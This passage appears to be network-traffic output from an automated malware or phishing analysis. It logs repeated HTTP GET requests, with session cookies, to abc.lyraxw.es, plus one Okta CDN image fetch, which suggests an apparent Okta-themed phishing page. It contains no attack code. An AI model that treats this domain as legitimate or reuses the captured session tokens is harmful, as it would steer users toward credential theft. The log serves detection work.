XSRF-TOKEN=eyJpdiI6Ilh5WGhjM25QN1o3aEpwaDZVV25lZkE9PSIsInZhbHVlIjoiT0Fmd1NqYThnTVdzKzZlczd1aWNMdCtFU2JxeUhoTTFKSXBMYmpYZ1hEd1Z3am9kaEpKU25qZVIwRm9sZVpWMGxEKzNDQ0huUWl5Ui9nNjBIWlVNQWNaNmdpUWZla1V2T29YN2puczNYSEFPRFZrcDZ4TnF1TXpDTTlYWWlMcWwiLCJtYWMiOiIzODBlNzIxOGQxZGZhNjllMWI1Y2I5OGY3OWQxNDFmMWYyM2JkN2Y4MWI0YzQwM2U0NTczY2Y4M2VjYzI5OGI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijg2TU5Keko1QVJUS3pIWVVvMll0MlE9PSIsInZhbHVlIjoidmxndnBOMlNiVTIxaGVtWTVyTXFYVWhWTGxyYTdsbWJwY1pVbnlPazgySnNacEZuNkdSSHp5UGJLalNiSW9aV1hwZ3hiKzIwaC94QnJOeVFIekxYZlM1UC8rYTROTzJKM0FqYjlJYmg3K2tuaVVuMlkrUmVqYWtDUGluV3k1T3oiLCJtYWMiOiJhMzMzMjBhMDdmYzgzMTM0YTBmMGI1NzRlMTc3NDkzMzAzZmNhNDk4ZTU1OWRmZGY5OTE1MTdiYzY5NWUwYjYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijWWLDoCvTuJ44YEia1IBKMedjsDXwWtKcXBKxZktSxItF89dEWcOT1enMOcUvvj6675q516tMvwyz224 HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ilh5WGhjM25QN1o3aEpwaDZVV25lZkE9PSIsInZhbHVlIjoiT0Fmd1NqYThnTVdzKzZlczd1aWNMdCtFU2JxeUhoTTFKSXBMYmpYZ1hEd1Z3am9kaEpKU25qZVIwRm9sZVpWMGxEKzNDQ0huUWl5Ui9nNjBIWlVNQWNaNmdpUWZla1V2T29YN2puczNYSEFPRFZrcDZ4TnF1TXpDTTlYWWlMcWwiLCJtYWMiOiIzODBlNzIxOGQxZGZhNjllMWI1Y2I5OGY3OWQxNDFmMWYyM2JkN2Y4MWI0YzQwM2U0NTczY2Y4M2VjYzI5OGI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijg2TU5Keko1QVJUS3pIWVVvMll0MlE9PSIsInZhbHVlIjoidmxndnBOMlNiVTIxaGVtWTVyTXFYVWhWTGxyYTdsbWJwY1pVbnlPazgySnNacEZuNkdSSHp5UGJLalNiSW9aV1hwZ3hiKzIwaC94QnJOeVFIekxYZlM1UC8rYTROTzJKM0FqYjlJYmg3K2tuaVVuMlkrUmVqYWtDUGluV3k1T3oiLCJtYWMiOiJhMzMzMjBhMDdmYzgzMTM0YTBmMGI1NzRlMTc3NDkzMzAzZmNhNDk4ZTU1OWRmZGY5OTE1MTdiYzY5NWUwYjYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijBaFXznSRZpB4rxWfYzXd4UXITsz20T7km6cMcd5LcjyGcbr2O7E1Yh78170 HTTP/1.1Host: abc.lyraxw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMHAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImFub3hEVk91WFZ1bVdQVkVwQVhPM2c9PSIsInZhbHVlIjoiK1Z3dHMrbTVaQVZaNmR2ejh2K0J6MUpVOEIvZHU1MFA0OHJyWFc1bDIwcnBQSG9GRGVDdkpIeDNxZXUyeElSTXR2NCtLcHhWY25BMFY5ZjI4QTJvT1JCOEJJczB5MFptTVRqdmJtaUZiYkt2cFIvb2MzemZ1czYvNnJQZzcrSlQiLCJtYWMiOiJlODMyNWU5MDcxYmIwNzljMzdlYjVjODQ2ZjY3ODk3NWU0ODVmNmIxYjAyYTQ2NDNlMjEwMzBlMjIxMGI4YzQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9ic2RkQnc4Snl5ZzRQVTNKY3Nzemc9PSIsInZhbHVlIjoiTksrcHZzOExUbUc3eU9RQkw5REFxSkxsSS9QM2tseWpBSzZKT0E3ZVEzREhYREswb2wycmYyZHpwUE84ZEZMRmdiY3R1dU41WE9BQ05pYmFjdzN3bi9GZEl5REVQR3FNUFZQbXRwRENlOThOVVF0ekZRc3BiUGhsbjhUNUNLdXoiLCJtYWMiOiJjMTE2MTM0NTVjNGIzZTI3OTAzOTNkMDllOTgyZGZkZWEzMDU3MGU4MmRhMjMwYjQwMTdjMTMyYjg4NGExYmJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ajjTaO6WIX5onvbznROzG467IJMTplstVbZF4nADQ7h61aXCb4RM4y7 HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImFub3hEVk91WFZ1bVdQVkVwQVhPM2c9PSIsInZhbHVlIjoiK1Z3dHMrbTVaQVZaNmR2ejh2K0J6MUpVOEIvZHU1MFA0OHJyWFc1bDIwcnBQSG9GRGVDdkpIeDNxZXUyeElSTXR2NCtLcHhWY25BMFY5ZjI4QTJvT1JCOEJJczB5MFptTVRqdmJtaUZiYkt2cFIvb2MzemZ1czYvNnJQZzcrSlQiLCJtYWMiOiJlODMyNWU5MDcxYmIwNzljMzdlYjVjODQ2ZjY3ODk3NWU0ODVmNmIxYjAyYTQ2NDNlMjEwMzBlMjIxMGI4YzQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9ic2RkQnc4Snl5ZzRQVTNKY3Nzemc9PSIsInZhbHVlIjoiTksrcHZzOExUbUc3eU9RQkw5REFxSkxsSS9QM2tseWpBSzZKT0E3ZVEzREhYREswb2wycmYyZHpwUE84ZEZMRmdiY3R1dU41WE9BQ05pYmFjdzN3bi9GZEl5REVQR3FNUFZQbXRwRENlOThOVVF0ekZRc3BiUGhsbjhUNUNLdXoiLCJtYWMiOiJjMTE2MTM0NTVjNGIzZTI3OTAzOTNkMDllOTgyZGZkZWEzMDU3MGU4MmRhMjMwYjQwMTdjMTMyYjg4NGExYmJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yz9nJ96mWPUqO6569NQJB0Iyka1bclYFfgrsFPonTi9mJHOHEJawYZsI3b5RB90178 HTTP/1.1Host: abc.lyraxw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMHAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImFub3hEVk91WFZ1bVdQVkVwQVhPM2c9PSIsInZhbHVlIjoiK1Z3dHMrbTVaQVZaNmR2ejh2K0J6MUpVOEIvZHU1MFA0OHJyWFc1bDIwcnBQSG9GRGVDdkpIeDNxZXUyeElSTXR2NCtLcHhWY25BMFY5ZjI4QTJvT1JCOEJJczB5MFptTVRqdmJtaUZiYkt2cFIvb2MzemZ1czYvNnJQZzcrSlQiLCJtYWMiOiJlODMyNWU5MDcxYmIwNzljMzdlYjVjODQ2ZjY3ODk3NWU0ODVmNmIxYjAyYTQ2NDNlMjEwMzBlMjIxMGI4YzQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9ic2RkQnc4Snl5ZzRQVTNKY3Nzemc9PSIsInZhbHVlIjoiTksrcHZzOExUbUc3eU9RQkw5REFxSkxsSS9QM2tseWpBSzZKT0E3ZVEzREhYREswb2wycmYyZHpwUE84ZEZMRmdiY3R1dU41WE9BQ05pYmFjdzN3bi9GZEl5REVQR3FNUFZQbXRwRENlOThOVVF0ekZRc3BiUGhsbjhUNUNLdXoiLCJtYWMiOiJjMTE2MTM0NTVjNGIzZTI3OTAzOTNkMDllOTgyZGZkZWEzMDU3MGU4MmRhMjMwYjQwMTdjMTMyYjg4NGExYmJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rsqrVzJ7QK65jRHLycjIYghj33nYSEsxUcPMwlKOLP8XVH4MDzef200 HTTP/1.1Host: abc.lyraxw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMHAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImFub3hEVk91WFZ1bVdQVkVwQVhPM2c9PSIsInZhbHVlIjoiK1Z3dHMrbTVaQVZaNmR2ejh2K0J6MUpVOEIvZHU1MFA0OHJyWFc1bDIwcnBQSG9GRGVDdkpIeDNxZXUyeElSTXR2NCtLcHhWY25BMFY5ZjI4QTJvT1JCOEJJczB5MFptTVRqdmJtaUZiYkt2cFIvb2MzemZ1czYvNnJQZzcrSlQiLCJtYWMiOiJlODMyNWU5MDcxYmIwNzljMzdlYjVjODQ2ZjY3ODk3NWU0ODVmNmIxYjAyYTQ2NDNlMjEwMzBlMjIxMGI4YzQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9ic2RkQnc4Snl5ZzRQVTNKY3Nzemc9PSIsInZhbHVlIjoiTksrcHZzOExUbUc3eU9RQkw5REFxSkxsSS9QM2tseWpBSzZKT0E3ZVEzREhYREswb2wycmYyZHpwUE84ZEZMRmdiY3R1dU41WE9BQ05pYmFjdzN3bi9GZEl5REVQR3FNUFZQbXRwRENlOThOVVF0ekZRc3BiUGhsbjhUNUNLdXoiLCJtYWMiOiJjMTE2MTM0NTVjNGIzZTI3OTAzOTNkMDllOTgyZGZkZWEzMDU3MGU4MmRhMjMwYjQwMTdjMTMyYjg4NGExYmJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opWvCCAu7xUYPr7WbScGZJUSefbrtaCJjMgkfF4NxP9Oh45139 HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImFub3hEVk91WFZ1bVdQVkVwQVhPM2c9PSIsInZhbHVlIjoiK1Z3dHMrbTVaQVZaNmR2ejh2K0J6MUpVOEIvZHU1MFA0OHJyWFc1bDIwcnBQSG9GRGVDdkpIeDNxZXUyeElSTXR2NCtLcHhWY25BMFY5ZjI4QTJvT1JCOEJJczB5MFptTVRqdmJtaUZiYkt2cFIvb2MzemZ1czYvNnJQZzcrSlQiLCJtYWMiOiJlODMyNWU5MDcxYmIwNzljMzdlYjVjODQ2ZjY3ODk3NWU0ODVmNmIxYjAyYTQ2NDNlMjEwMzBlMjIxMGI4YzQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9ic2RkQnc4Snl5ZzRQVTNKY3Nzemc9PSIsInZhbHVlIjoiTksrcHZzOExUbUc3eU9RQkw5REFxSkxsSS9QM2tseWpBSzZKT0E3ZVEzREhYREswb2wycmYyZHpwUE84ZEZMRmdiY3R1dU41WE9BQ05pYmFjdzN3bi9GZEl5REVQR3FNUFZQbXRwRENlOThOVVF0ekZRc3BiUGhsbjhUNUNLdXoiLCJtYWMiOiJjMTE2MTM0NTVjNGIzZTI3OTAzOTNkMDllOTgyZGZkZWEzMDU3MGU4MmRhMjMwYjQwMTdjMTMyYjg4NGExYmJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://abc.lyraxw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ijW78iIiuhQnn0hD6UAXP8rijvjumg5JcYu3qTVfxyWNgT2xJBXSqwmsDk12210 HTTP/1.1Host: abc.lyraxw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMHAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImFub3hEVk91WFZ1bVdQVkVwQVhPM2c9PSIsInZhbHVlIjoiK1Z3dHMrbTVaQVZaNmR2ejh2K0J6MUpVOEIvZHU1MFA0OHJyWFc1bDIwcnBQSG9GRGVDdkpIeDNxZXUyeElSTXR2NCtLcHhWY25BMFY5ZjI4QTJvT1JCOEJJczB5MFptTVRqdmJtaUZiYkt2cFIvb2MzemZ1czYvNnJQZzcrSlQiLCJtYWMiOiJlODMyNWU5MDcxYmIwNzljMzdlYjVjODQ2ZjY3ODk3NWU0ODVmNmIxYjAyYTQ2NDNlMjEwMzBlMjIxMGI4YzQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9ic2RkQnc4Snl5ZzRQVTNKY3Nzemc9PSIsInZhbHVlIjoiTksrcHZzOExUbUc3eU9RQkw5REFxSkxsSS9QM2tseWpBSzZKT0E3ZVEzREhYREswb2wycmYyZHpwUE84ZEZMRmdiY3R1dU41WE9BQ05pYmFjdzN3bi9GZEl5REVQR3FNUFZQbXRwRENlOThOVVF0ekZRc3BiUGhsbjhUNUNLdXoiLCJtYWMiOiJjMTE2MTM0NTVjNGIzZTI3OTAzOTNkMDllOTgyZGZkZWEzMDU3MGU4MmRhMjMwYjQwMTdjMTMyYjg4NGExYmJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrREBqPeNoelpv49Od09z906k7WJcuvJwJCmk7DVVdKeFXpaUSfnzOlCcd240 HTTP/1.1Host: abc.lyraxw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMHAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImFub3hEVk91WFZ1bVdQVkVwQVhPM2c9PSIsInZhbHVlIjoiK1Z3dHMrbTVaQVZaNmR2ejh2K0J6MUpVOEIvZHU1MFA0OHJyWFc1bDIwcnBQSG9GRGVDdkpIeDNxZXUyeElSTXR2NCtLcHhWY25BMFY5ZjI4QTJvT1JCOEJJczB5MFptTVRqdmJtaUZiYkt2cFIvb2MzemZ1czYvNnJQZzcrSlQiLCJtYWMiOiJlODMyNWU5MDcxYmIwNzljMzdlYjVjODQ2ZjY3ODk3NWU0ODVmNmIxYjAyYTQ2NDNlMjEwMzBlMjIxMGI4YzQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9ic2RkQnc4Snl5ZzRQVTNKY3Nzemc9PSIsInZhbHVlIjoiTksrcHZzOExUbUc3eU9RQkw5REFxSkxsSS9QM2tseWpBSzZKT0E3ZVEzREhYREswb2wycmYyZHpwUE84ZEZMRmdiY3R1dU41WE9BQ05pYmFjdzN3bi9GZEl5REVQR3FNUFZQbXRwRENlOThOVVF0ekZRc3BiUGhsbjhUNUNLdXoiLCJtYWMiOiJjMTE2MTM0NTVjNGIzZTI3OTAzOTNkMDllOTgyZGZkZWEzMDU3MGU4MmRhMjMwYjQwMTdjMTMyYjg4NGExYmJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /stiRdjwTAfcfqX13ewSylqUppklsJ6WztZmnEnkMlJskW0aEtfb5u50hjkAeWfsztjqwa6Dgh260 HTTP/1.1Host: abc.lyraxw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMHAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImFub3hEVk91WFZ1bVdQVkVwQVhPM2c9PSIsInZhbHVlIjoiK1Z3dHMrbTVaQVZaNmR2ejh2K0J6MUpVOEIvZHU1MFA0OHJyWFc1bDIwcnBQSG9GRGVDdkpIeDNxZXUyeElSTXR2NCtLcHhWY25BMFY5ZjI4QTJvT1JCOEJJczB5MFptTVRqdmJtaUZiYkt2cFIvb2MzemZ1czYvNnJQZzcrSlQiLCJtYWMiOiJlODMyNWU5MDcxYmIwNzljMzdlYjVjODQ2ZjY3ODk3NWU0ODVmNmIxYjAyYTQ2NDNlMjEwMzBlMjIxMGI4YzQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9ic2RkQnc4Snl5ZzRQVTNKY3Nzemc9PSIsInZhbHVlIjoiTksrcHZzOExUbUc3eU9RQkw5REFxSkxsSS9QM2tseWpBSzZKT0E3ZVEzREhYREswb2wycmYyZHpwUE84ZEZMRmdiY3R1dU41WE9BQ05pYmFjdzN3bi9GZEl5REVQR3FNUFZQbXRwRENlOThOVVF0ekZRc3BiUGhsbjhUNUNLdXoiLCJtYWMiOiJjMTE2MTM0NTVjNGIzZTI3OTAzOTNkMDllOTgyZGZkZWEzMDU3MGU4MmRhMjMwYjQwMTdjMTMyYjg4NGExYmJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yz9nJ96mWPUqO6569NQJB0Iyka1bclYFfgrsFPonTi9mJHOHEJawYZsI3b5RB90178 HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImFub3hEVk91WFZ1bVdQVkVwQVhPM2c9PSIsInZhbHVlIjoiK1Z3dHMrbTVaQVZaNmR2ejh2K0J6MUpVOEIvZHU1MFA0OHJyWFc1bDIwcnBQSG9GRGVDdkpIeDNxZXUyeElSTXR2NCtLcHhWY25BMFY5ZjI4QTJvT1JCOEJJczB5MFptTVRqdmJtaUZiYkt2cFIvb2MzemZ1czYvNnJQZzcrSlQiLCJtYWMiOiJlODMyNWU5MDcxYmIwNzljMzdlYjVjODQ2ZjY3ODk3NWU0ODVmNmIxYjAyYTQ2NDNlMjEwMzBlMjIxMGI4YzQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9ic2RkQnc4Snl5ZzRQVTNKY3Nzemc9PSIsInZhbHVlIjoiTksrcHZzOExUbUc3eU9RQkw5REFxSkxsSS9QM2tseWpBSzZKT0E3ZVEzREhYREswb2wycmYyZHpwUE84ZEZMRmdiY3R1dU41WE9BQ05pYmFjdzN3bi9GZEl5REVQR3FNUFZQbXRwRENlOThOVVF0ekZRc3BiUGhsbjhUNUNLdXoiLCJtYWMiOiJjMTE2MTM0NTVjNGIzZTI3OTAzOTNkMDllOTgyZGZkZWEzMDU3MGU4MmRhMjMwYjQwMTdjMTMyYjg4NGExYmJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijBaFXznSRZpB4rxWfYzXd4UXITsz20T7km6cMcd5LcjyGcbr2O7E1Yh78170 HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImFub3hEVk91WFZ1bVdQVkVwQVhPM2c9PSIsInZhbHVlIjoiK1Z3dHMrbTVaQVZaNmR2ejh2K0J6MUpVOEIvZHU1MFA0OHJyWFc1bDIwcnBQSG9GRGVDdkpIeDNxZXUyeElSTXR2NCtLcHhWY25BMFY5ZjI4QTJvT1JCOEJJczB5MFptTVRqdmJtaUZiYkt2cFIvb2MzemZ1czYvNnJQZzcrSlQiLCJtYWMiOiJlODMyNWU5MDcxYmIwNzljMzdlYjVjODQ2ZjY3ODk3NWU0ODVmNmIxYjAyYTQ2NDNlMjEwMzBlMjIxMGI4YzQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9ic2RkQnc4Snl5ZzRQVTNKY3Nzemc9PSIsInZhbHVlIjoiTksrcHZzOExUbUc3eU9RQkw5REFxSkxsSS9QM2tseWpBSzZKT0E3ZVEzREhYREswb2wycmYyZHpwUE84ZEZMRmdiY3R1dU41WE9BQ05pYmFjdzN3bi9GZEl5REVQR3FNUFZQbXRwRENlOThOVVF0ekZRc3BiUGhsbjhUNUNLdXoiLCJtYWMiOiJjMTE2MTM0NTVjNGIzZTI3OTAzOTNkMDllOTgyZGZkZWEzMDU3MGU4MmRhMjMwYjQwMTdjMTMyYjg4NGExYmJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnVedtOixL38C0BJgkDMR9Zcc6T8uvYDaAtVGM7H3Hzsxk78148 HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImFub3hEVk91WFZ1bVdQVkVwQVhPM2c9PSIsInZhbHVlIjoiK1Z3dHMrbTVaQVZaNmR2ejh2K0J6MUpVOEIvZHU1MFA0OHJyWFc1bDIwcnBQSG9GRGVDdkpIeDNxZXUyeElSTXR2NCtLcHhWY25BMFY5ZjI4QTJvT1JCOEJJczB5MFptTVRqdmJtaUZiYkt2cFIvb2MzemZ1czYvNnJQZzcrSlQiLCJtYWMiOiJlODMyNWU5MDcxYmIwNzljMzdlYjVjODQ2ZjY3ODk3NWU0ODVmNmIxYjAyYTQ2NDNlMjEwMzBlMjIxMGI4YzQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9ic2RkQnc4Snl5ZzRQVTNKY3Nzemc9PSIsInZhbHVlIjoiTksrcHZzOExUbUc3eU9RQkw5REFxSkxsSS9QM2tseWpBSzZKT0E3ZVEzREhYREswb2wycmYyZHpwUE84ZEZMRmdiY3R1dU41WE9BQ05pYmFjdzN3bi9GZEl5REVQR3FNUFZQbXRwRENlOThOVVF0ekZRc3BiUGhsbjhUNUNLdXoiLCJtYWMiOiJjMTE2MTM0NTVjNGIzZTI3OTAzOTNkMDllOTgyZGZkZWEzMDU3MGU4MmRhMjMwYjQwMTdjMTMyYjg4NGExYmJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rsqrVzJ7QK65jRHLycjIYghj33nYSEsxUcPMwlKOLP8XVH4MDzef200 HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImFub3hEVk91WFZ1bVdQVkVwQVhPM2c9PSIsInZhbHVlIjoiK1Z3dHMrbTVaQVZaNmR2ejh2K0J6MUpVOEIvZHU1MFA0OHJyWFc1bDIwcnBQSG9GRGVDdkpIeDNxZXUyeElSTXR2NCtLcHhWY25BMFY5ZjI4QTJvT1JCOEJJczB5MFptTVRqdmJtaUZiYkt2cFIvb2MzemZ1czYvNnJQZzcrSlQiLCJtYWMiOiJlODMyNWU5MDcxYmIwNzljMzdlYjVjODQ2ZjY3ODk3NWU0ODVmNmIxYjAyYTQ2NDNlMjEwMzBlMjIxMGI4YzQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9ic2RkQnc4Snl5ZzRQVTNKY3Nzemc9PSIsInZhbHVlIjoiTksrcHZzOExUbUc3eU9RQkw5REFxSkxsSS9QM2tseWpBSzZKT0E3ZVEzREhYREswb2wycmYyZHpwUE84ZEZMRmdiY3R1dU41WE9BQ05pYmFjdzN3bi9GZEl5REVQR3FNUFZQbXRwRENlOThOVVF0ekZRc3BiUGhsbjhUNUNLdXoiLCJtYWMiOiJjMTE2MTM0NTVjNGIzZTI3OTAzOTNkMDllOTgyZGZkZWEzMDU3MGU4MmRhMjMwYjQwMTdjMTMyYjg4NGExYmJhIiwidGFnIjoiIn0%3D
